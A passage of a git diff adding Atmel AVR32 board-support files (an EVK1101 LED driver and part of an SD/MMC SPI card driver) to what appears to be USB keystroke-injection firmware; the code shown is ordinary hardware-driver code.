+ gpio_enable_module(COMPORT_GPIO_MAP, + sizeof(COMPORT_GPIO_MAP) / sizeof(COMPORT_GPIO_MAP[0])); +#endif + +#if UC3D + static const gpio_map_t USB_GPIO_MAP = + { + {AVR32_USBC_DP_PIN, AVR32_USBC_DP_FUNCTION}, + {AVR32_USBC_DM_PIN, AVR32_USBC_DM_FUNCTION}, + {AVR32_USBC_VBUS_PIN, AVR32_USBC_VBUS_FUNCTION} + }; + + // Assign GPIO pins to USB. + gpio_enable_module(USB_GPIO_MAP, + sizeof(USB_GPIO_MAP) / sizeof(USB_GPIO_MAP[0])); +#endif + +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.c new file mode 100644 index 0000000..b781638 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.c @@ -0,0 +1,344 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "preprocessor.h" +#include "compiler.h" +#include "evk1101.h" +#include "led.h" + + +//! Structure describing LED hardware connections. +typedef const struct +{ + struct + { + U32 PORT; //!< LED GPIO port. + U32 PIN_MASK; //!< Bit-mask of LED pin in GPIO port. + } GPIO; //!< LED GPIO descriptor. + struct + { + S32 CHANNEL; //!< LED PWM channel (< 0 if N/A). + S32 FUNCTION; //!< LED pin PWM function (< 0 if N/A). + } PWM; //!< LED PWM descriptor. +} tLED_DESCRIPTOR; + + +//! Hardware descriptors of all LEDs. +static tLED_DESCRIPTOR LED_DESCRIPTOR[LED_COUNT] = +{ +#define INSERT_LED_DESCRIPTOR(LED_NO, unused) \ + { \ + {LED##LED_NO##_GPIO / 32, 1 << (LED##LED_NO##_GPIO % 32)},\ + {LED##LED_NO##_PWM, LED##LED_NO##_PWM_FUNCTION } \ + }, + MREPEAT(LED_COUNT, INSERT_LED_DESCRIPTOR, ~) +#undef INSERT_LED_DESCRIPTOR +}; + + +//! Saved state of all LEDs. +static volatile U32 LED_State = (1 << LED_COUNT) - 1; + + +U32 LED_Read_Display(void) +{ + return LED_State; +} + + +void LED_Display(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor; + volatile avr32_gpio_port_t *led_gpio_port; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + LED_State = leds; + + // For all LEDs... + for (led_descriptor = &LED_DESCRIPTOR[0]; + led_descriptor < LED_DESCRIPTOR + LED_COUNT; + led_descriptor++) + { + // Set the LED to the requested state. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + } +} + + +U32 LED_Read_Display_Mask(U32 mask) +{ + return Rd_bits(LED_State, mask); +} + + +void LED_Display_Mask(U32 mask, U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + mask &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Wr_bits(LED_State, mask, leds); + + // While there are specified LEDs left to manage... + while (mask) + { + // Select the next specified LED and set it to the requested state. + led_shift = 1 + ctz(mask); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + leds >>= led_shift - 1; + if (leds & 1) + { + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= 1; + mask >>= led_shift; + } +} + + +Bool LED_Test(U32 leds) +{ + return Tst_bits(LED_State, leds); +} + + +void LED_Off(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Clr_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it off. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrs = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_On(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Set_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and turn it on. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrc = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +void LED_Toggle(U32 leds) +{ + // Use the LED descriptors to get the connections of a given LED to the MCU. + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // Make sure only existing LEDs are specified. + leds &= (1 << LED_COUNT) - 1; + + // Update the saved state of all LEDs with the requested changes. + Tgl_bits(LED_State, leds); + + // While there are specified LEDs left to manage... + while (leds) + { + // Select the next specified LED and toggle it. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + led_gpio_port->ovrt = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->oders = led_descriptor->GPIO.PIN_MASK; + led_gpio_port->gpers = led_descriptor->GPIO.PIN_MASK; + leds >>= led_shift; + } +} + + +U32 LED_Read_Display_Field(U32 field) +{ + return Rd_bitfield(LED_State, field); +} + + +void LED_Display_Field(U32 field, U32 leds) +{ + // Move the bit-field to the appropriate position for the bit-mask. + LED_Display_Mask(field, leds << ctz(field)); +} + + +U8 LED_Get_Intensity(U32 led) +{ + tLED_DESCRIPTOR *led_descriptor; + + // Check that the argument value is valid. + led = ctz(led); + led_descriptor = &LED_DESCRIPTOR[led]; + if (led >= LED_COUNT || led_descriptor->PWM.CHANNEL < 0) return 0; + + // Return the duty cycle value if the LED PWM channel is enabled, else 0. + return (AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL)) ? + AVR32_PWM.channel[led_descriptor->PWM.CHANNEL].cdty : 0; +} + + +void LED_Set_Intensity(U32 leds, U8 intensity) +{ + tLED_DESCRIPTOR *led_descriptor = &LED_DESCRIPTOR[0] - 1; + volatile avr32_pwm_channel_t *led_pwm_channel; + volatile avr32_gpio_port_t *led_gpio_port; + U8 led_shift; + + // For each specified LED... + for (leds &= (1 << LED_COUNT) - 1; leds; leds >>= led_shift) + { + // Select the next specified LED and check that it has a PWM channel. + led_shift = 1 + ctz(leds); + led_descriptor += led_shift; + if (led_descriptor->PWM.CHANNEL < 0) continue; + + // Initialize or update the LED PWM channel. + led_pwm_channel = &AVR32_PWM.channel[led_descriptor->PWM.CHANNEL]; + if (!(AVR32_PWM.sr & (1 << led_descriptor->PWM.CHANNEL))) + { + led_pwm_channel->cmr = (AVR32_PWM_CPRE_MCK << AVR32_PWM_CPRE_OFFSET) & + ~(AVR32_PWM_CALG_MASK | + AVR32_PWM_CPOL_MASK | + AVR32_PWM_CPD_MASK); + led_pwm_channel->cprd = 0x000000FF; + led_pwm_channel->cdty = intensity; + AVR32_PWM.ena = 1 << led_descriptor->PWM.CHANNEL; + } + else + { + AVR32_PWM.isr; + while (!(AVR32_PWM.isr & (1 << led_descriptor->PWM.CHANNEL))); + led_pwm_channel->cupd = intensity; + } + + // Switch the LED pin to its PWM function. + led_gpio_port = &AVR32_GPIO.port[led_descriptor->GPIO.PORT]; + if (led_descriptor->PWM.FUNCTION & 0x1) + { + led_gpio_port->pmr0s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr0c = led_descriptor->GPIO.PIN_MASK; + } + if (led_descriptor->PWM.FUNCTION & 0x2) + { + led_gpio_port->pmr1s = led_descriptor->GPIO.PIN_MASK; + } + else + { + led_gpio_port->pmr1c = led_descriptor->GPIO.PIN_MASK; + } + led_gpio_port->gperc = led_descriptor->GPIO.PIN_MASK; + } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.h new file mode 100644 index 0000000..b1390a3 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/boards/evk1101/led.h @@ -0,0 +1,185 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief AT32UC3B EVK1101 board LEDs support package. + * + * This file contains definitions and services related to the LED features of + * the EVK1101 board. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 AT32UC3B devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _LED_H_ +#define _LED_H_ + +#include "compiler.h" + + +/*! \name Identifiers of LEDs to Use with LED Functions + */ +//! @{ +#define LED0 0x01 +#define LED1 0x02 +#define LED2 0x04 +#define LED3 0x08 +//! @} + + +/*! \brief Gets the last state of all LEDs set through the LED API. + * + * \return State of all LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display(void); + +/*! \brief Sets the state of all LEDs. + * + * \param leds New state of all LEDs (1 bit per LED). + * + * \note The pins of all LEDs are set to GPIO output mode. + */ +extern void LED_Display(U32 leds); + +/*! \brief Gets the last state of the specified LEDs set through the LED API. + * + * \param mask LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Mask(U32 mask); + +/*! \brief Sets the state of the specified LEDs. + * + * \param mask LEDs of which to set the state (1 bit per LED). + * + * \param leds New state of the specified LEDs (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Mask(U32 mask, U32 leds); + +/*! \brief Tests the last state of the specified LEDs set through the LED API. + * + * \param leds LEDs of which to test the state (1 bit per LED). + * + * \return \c TRUE if at least one of the specified LEDs has a state on, else + * \c FALSE. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern Bool LED_Test(U32 leds); + +/*! \brief Turns off the specified LEDs. + * + * \param leds LEDs to turn off (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Off(U32 leds); + +/*! \brief Turns on the specified LEDs. + * + * \param leds LEDs to turn on (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_On(U32 leds); + +/*! \brief Toggles the specified LEDs. + * + * \param leds LEDs to toggle (1 bit per LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Toggle(U32 leds); + +/*! \brief Gets as a bit-field the last state of the specified LEDs set through + * the LED API. + * + * \param field LEDs of which to get the state (1 bit per LED). + * + * \return State of the specified LEDs (1 bit per LED, beginning with the first + * specified LED). + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U32 LED_Read_Display_Field(U32 field); + +/*! \brief Sets as a bit-field the state of the specified LEDs. + * + * \param field LEDs of which to set the state (1 bit per LED). + * \param leds New state of the specified LEDs (1 bit per LED, beginning with + * the first specified LED). + * + * \note The pins of the specified LEDs are set to GPIO output mode. + */ +extern void LED_Display_Field(U32 field, U32 leds); + +/*! \brief Gets the intensity of the specified LED. + * + * \param led LED of which to get the intensity (1 bit per LED; only the least + * significant set bit is used). + * + * \return Intensity of the specified LED (0x00 to 0xFF). + * + * \warning The PWM channel of the specified LED is supposed to be used only by + * this module. + * + * \note The GPIO pin configuration of all LEDs is left unchanged. + */ +extern U8 LED_Get_Intensity(U32 led); + +/*! \brief Sets the intensity of the specified LEDs. + * + * \param leds LEDs of which to set the intensity (1 bit per LED). + * \param intensity New intensity of the specified LEDs (0x00 to 0xFF). + * + * \warning The PWM channels of the specified LEDs are supposed to be used only + * by this module. + * + * \note The pins of the specified LEDs are set to PWM output mode. + */ +extern void LED_Set_Intensity(U32 leds, U8 intensity); + + +#endif // _LED_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c new file mode 100644 index 0000000..37e0bfd --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c @@ -0,0 +1,1278 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC card driver using SPI interface. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +/*_____ I N C L U D E S ____________________________________________________*/ + +#include "conf_access.h" + + +#if SD_MMC_SPI_MEM == ENABLE + +#include "compiler.h" +#include "board.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "sd_mmc_spi.h" +#include + + +/*_____ M A C R O S ________________________________________________________*/ + +#define NO_SUPPORT_USB_PING_PONG // defines if USB endpoints do not support ping pong mode + + +/*_____ D E F I N I T I O N ________________________________________________*/ + +static uint32_t gl_ptr_mem; // Memory data pointer +static uint8_t sector_buf[MMC_SECTOR_SIZE]; // Sector buffer +static spi_options_t sd_mmc_opt; +static unsigned int sd_mmc_pba_hz; + +Bool sd_mmc_spi_init_done = false; +uint8_t r1; +uint16_t r2; + + uint8_t csd[16]; // stores the Card Specific Data +volatile uint32_t capacity; // stores the capacity in bytes +volatile uint16_t capacity_mult; // stores the HighCapacity in bytes +volatile uint32_t sd_mmc_spi_last_block_address; // stores the address of the last block (sector) + uint16_t erase_group_size; // stores the number of blocks concerned by an erase command + uint8_t card_type; // stores SD_CARD or MMC_CARD type card + + + uint8_t data_mem[513]; // data buffer +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + uint8_t cid[16]; +#endif + + +/*_____ D E C L A R A T I O N ______________________________________________*/ + +//! +//! @brief This function initializes the SD/MMC controller. +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_internal_init(void) +{ + uint16_t retry; + int i; + int if_cond; + + // Start at low frequency + sd_mmc_opt.baudrate = 400000; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + + /* card needs 74 cycles minimum to start up */ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + for(i = 0; i < 10; ++i) { + spi_write(SD_MMC_SPI,0xFF); + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + + // RESET THE MEMORY CARD + sd_mmc_spi_init_done = false; + card_type = MMC_CARD; + retry = 0; + do + { + // reset card and go to SPI mode + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + + if_cond = sd_mmc_spi_get_if(); + if(if_cond == -1) { + return KO; // card is bad + } else if (if_cond == 1) { + card_type = SD_CARD_2; + } else { + // IDENTIFICATION OF THE CARD TYPE (SD or MMC) + // Both cards will accept CMD55 command but only the SD card will respond to ACMD41 + r1 = sd_mmc_spi_send_command(SD_APP_CMD55,0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + if ((r1&0xFE) == 0) { // ignore "in_idle_state" flag bit + card_type = SD_CARD; // card has accepted the command, this is a SD card + } else { + card_type = MMC_CARD; // card has not responded, this is a MMC card + // reset card again + retry = 0; + do { + // reset card again + r1 = sd_mmc_spi_send_command(MMC_GO_IDLE_STATE, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + // do retry counter + retry++; + if(retry > 100) + return KO; + } + while(r1 != 0x01); // check memory enters idle_state + } + } + + // CONTINUE INTERNAL INITIALIZATION OF THE CARD + // Continue sending CMD1 while memory card is in idle state + retry = 0; + do { + switch(card_type) { + case MMC_CARD: + r1 = sd_mmc_spi_send_command(MMC_SEND_OP_COND, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD: + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + case SD_CARD_2: + // set high capacity bit mask + sd_mmc_spi_send_command(SD_APP_CMD55,0); + r1 = sd_mmc_spi_send_command(SD_SEND_OP_COND_ACMD, 0x40000000); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + break; + } + // do retry counter + retry++; + if(retry == 50000) // measured approx. 500 on several cards + return KO; + } while (r1); + + // CHECK FOR SDHC + if(card_type == SD_CARD_2) { + if_cond = sd_mmc_spi_check_hc(); + if (if_cond == -1) { + return KO; + } else if (if_cond == 1){ + card_type = SD_CARD_2_SDHC; + } + } + + // DISABLE CRC TO SIMPLIFY AND SPEED UP COMMUNICATIONS + r1 = sd_mmc_spi_send_command(MMC_CRC_ON_OFF, 0); // disable CRC (should be already initialized on SPI init) + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + + // SET BLOCK LENGTH TO 512 BYTES + r1 = sd_mmc_spi_send_command(MMC_SET_BLOCKLEN, 512); + spi_write(SD_MMC_SPI,0xFF); // write dummy byte + if (r1 != 0x00) + return KO; // card unsupported if block length of 512b is not accepted + + // GET CARD SPECIFIC DATA + if (KO == sd_mmc_spi_get_csd(csd)) + return KO; + + // GET CARD CAPACITY and NUMBER OF SECTORS + sd_mmc_spi_get_capacity(); + + // GET CARD IDENTIFICATION DATA IF REQUIRED +#if (defined SD_MMC_READ_CID) && (SD_MMC_READ_CID == ENABLED) + if (KO == sd_mmc_spi_get_cid(cid)) + return KO; +#endif + + sd_mmc_spi_init_done = true; + + // Set SPI Speed to MAX + sd_mmc_opt.baudrate = SD_MMC_SPI_MASTER_SPEED; + spi_setupChipReg(SD_MMC_SPI, &sd_mmc_opt, sd_mmc_pba_hz); + return OK; +} + +//! +//! @brief This function initializes the SD/MMC controller & the SPI bus(over which the SD_MMC is controlled). +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz) +{ + // Keep SPI options internally + sd_mmc_pba_hz = pba_hz; + memcpy( &sd_mmc_opt, &spiOptions, sizeof(spi_options_t) ); + + // Initialize the SD/MMC controller. + return sd_mmc_spi_internal_init(); +} + +//! +//! @brief This function sends a command WITH NO DATA STATE to the SD/MMC and waits for R1 response +//! This function also selects and unselects the memory => should be used only for single command transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF if time out error) +uint8_t sd_mmc_spi_send_command(uint8_t command, uint32_t arg) +{ + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(command, arg); + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return r1; +} + +//! +//! @brief This function sends a command WITH DATA STATE to the SD/MMC and waits for R1 response +//! The memory /CS signal is not affected so this function can be used to send a commande during a large transmission +//! +//! @param command command to send (see sd_mmc_spi.h for command list) +//! @param arg argument of the command +//! +//! @return uint8_t +//! R1 response (R1 == 0xFF time out error) +uint8_t sd_mmc_spi_command(uint8_t command, uint32_t arg) +{ + uint8_t retry; + + spi_write(SD_MMC_SPI, 0xFF); // write dummy byte + spi_write(SD_MMC_SPI, command | 0x40); // send command + spi_write(SD_MMC_SPI, arg>>24); // send parameter + spi_write(SD_MMC_SPI, arg>>16); + spi_write(SD_MMC_SPI, arg>>8 ); + spi_write(SD_MMC_SPI, arg ); + switch(command) + { + case MMC_GO_IDLE_STATE: + spi_write(SD_MMC_SPI, 0x95); + break; + case MMC_SEND_IF_COND: + spi_write(SD_MMC_SPI, 0x87); + break; + default: + spi_write(SD_MMC_SPI, 0xff); + break; + } + + // end command + // wait for response + // if more than 8 retries, card has timed-out and return the received 0xFF + retry = 0; + r1 = 0xFF; + while((r1 = sd_mmc_spi_send_and_read(0xFF)) == 0xFF) + { + retry++; + if(retry > 10) break; + } + return r1; +} + + + +//! +//! @brief This function sends a byte over SPI and returns the byte read from the slave. +//! +//! +//! @param data_to_send byte to send over SPI +//! +//! @return uint8_t +//! Byte read from the slave +uint8_t sd_mmc_spi_send_and_read(uint8_t data_to_send) +{ + unsigned short data_read; + spi_write(SD_MMC_SPI, data_to_send); + if( SPI_ERROR_TIMEOUT == spi_read(SD_MMC_SPI, &data_read) ) + return 0xFF; + return data_read; +} +//! +//! @brief This function detects the card interface. +//! +//! +//! @return int +//! SD_FAILURE +//! OK +//! SD_MMC + + +int sd_mmc_spi_get_if(void) +{ + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(MMC_SEND_IF_COND, 0x000001AA); + // check for valid response + if((r1 & MMC_R1_ILLEGAL_COM) != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_MMC; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + r1 = sd_mmc_spi_send_and_read(0xFF); + if((r1 & 0x01) == 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; + } + r1 = sd_mmc_spi_send_and_read(0xFF); + if(r1 != 0xaa) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return SD_FAILURE; /* wrong test pattern */ + } + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect SD_MMC_SPI + return OK; +} +//! +//! @brief This function checks whether detected card is High Capacity SD card. +//! +//! +//! @return bit +//! SDHC_CARD Detected card is SDHC +//! SD_CARD Detected card is SD +//! ERROR + + +int sd_mmc_spi_check_hc(void) +{ + unsigned char hc_bit; + // wait for MMC not busy + if (KO == sd_mmc_spi_wait_not_busy()) + return SD_FAILURE; + + spi_selectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // select SD_MMC_SPI + r1 = sd_mmc_spi_command(SD_READ_OCR, 0); + // check for valid response + if(r1 != 0) { + spi_unselectChip(SD_MMC_SPI, SD_MMC_SPI_NPCS); // unselect 